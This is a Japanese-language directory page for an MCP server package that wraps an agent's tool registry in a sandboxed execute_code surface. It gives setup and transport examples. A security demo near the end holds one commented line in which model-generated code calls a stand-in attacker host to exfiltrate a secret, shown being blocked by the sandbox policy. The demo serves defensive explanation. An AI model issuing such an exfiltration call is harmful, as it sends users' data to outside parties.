mcpField
T
telleroutlook

telleroutlook

ローカル
github.com/WasmAgent開発ツール73 週間前に更新

telleroutlook について

telleroutlookはwasmagentランタイム向けのMCPサーバーで、ツールレジストリをサンドボックス化されたコード実行インターフェースにまとめます。wasmagentエージェントをMCPホストに接続する開発者向けで、CapabilityManifestがカーネル境界でネットワークとファイルシステムのポリシーを適用します。

主な機能

  1. 01docs_searchとexecute_codeでツールを公開
  2. 02QuickJSなどのカーネルでスクリプト実行
  3. 03CapabilityManifestによるネットワーク・ファイルシステム制御
  4. 04stdio、HTTP、カスタムトランスポート
  5. 05handle()による統一プロトコル処理

活用シーン

  1. 01wasmagentエージェントをMCPホストに接続
  2. 02コードモードで登録済みツールを呼び出す
  3. 03スクリプトのネットワーク・ファイル制限を設定
  4. 04ホスト環境に応じたトランスポートの選択

MCP 対応

wasmagentエージェントをdocs_searchとexecute_codeのツールでMCPサーバーとして公開します。stdio、HTTP / Streamable、またはカスタムトランスポートでMCPリクエストを処理できます。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"telleroutlook": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}
起動コマンドnpx -y @wasmagent/mcp-server

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
npm@wasmagent/mcp-server1.1.1

ツール

2

掲載時のツール一覧 · 2 週間前に更新

パラメーター型必須説明
namesarrayいいえ取得する正確なツール名の任意のリストです。`query` より優先されます。
querystringいいえツール名/説明を絞り込む部分文字列です。空または省略するとすべて返します。

詳細

/mcp-server

成熟度:ベータ版 — API の形状はマイナーバージョンで変更される場合があります。変更は CHANGELOG で告知されます。

Glama MCP server

任意の wasmagent エージェントを Model Context Protocol(MCP)サーバーとして公開します。

wasmagent の一部です — TypeScript + WASM のエージェントランタイムです。

Before / After

ホストに直接公開する単純なツール一覧を、サンドボックス化された execute_code サーフェスに置き換えます。

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
-  tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+  tools,
+  kernel: new QuickJSKernel(),
+  capabilities: { allowedHosts: [], cpuMs: 5_000 },
+  serverInfo: { name: "my-agent", version: "1.0.0" },
+}));

下流ツールが N=30 個の場合、ブートストラップトークンのコストは直接方式の 13.6% に低下します。モデルはスクリプトを指定して execute_code を呼び出し、そのスクリプトが必要なツールに対して callTool(...) を呼び出します — すべて単一の CapabilityManifest のもとで実行されます。

インストール

npm install /mcp-server /core

3 つのトランスポート、1 つのサーバー

McpAgentServer はトランスポートに依存しません。単一の handle(req) メソッドを介して JSON-RPC を処理します。ホストに適したトランスポートを選択してください。

1. Stdio(Claude Desktop、Cursor、Glama のヘルスチェックなど)
# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server

実際のデプロイでは、小さな Node スクリプトを作成し、独自のサーバーで runStdio() を呼び出します。

// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";

const tools = new ToolRegistry();
// tools.register(...)  — your tools here

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: { allowedHosts: [], cpuMs: 5000 },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));
2. HTTP / Streamable(Cloudflare Workers、Vercel など)
import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }
3. 直接 handle() を呼び出す

カスタムトランスポートを使用する場合、プロトコルレベルの処理は async (req) => { response } を呼び出すだけです — McpAgentServer.handle() を参照してください。

コードモード(2 ツールのサーフェス)

createCodeModeServer() は、あらゆるツールレジストリを docs_search + execute_code の MCP サーフェスでラップします。下流ツールが N=30 個の場合、ブートストラップトークンのコストは直接 MCP の 13.6% に低下します。docs/guides/code-mode.md を参照してください。

セキュリティデモ

CapabilityManifest は、モデルが execute_code を介して実行するすべてのスクリプトに対し、カーネル境界でネットワークとファイルシステムのポリシーを適用します。

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry();
// tools.register(...)

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: {
    allowedHosts: [],           // no outbound network
    allowedPaths: [],           // no filesystem access
    cpuMs: 5_000,
    memoryLimitBytes: 64 * 1024 * 1024,
  },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts

スクリプトがどの下流ツールを呼び出すかにかかわらず、マニフェストが適用されます — 1 つの宣言で execute_code サーフェス全体をカバーします。

ライセンス

Apache-2.0 — © wasmagent のコントリビューター

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。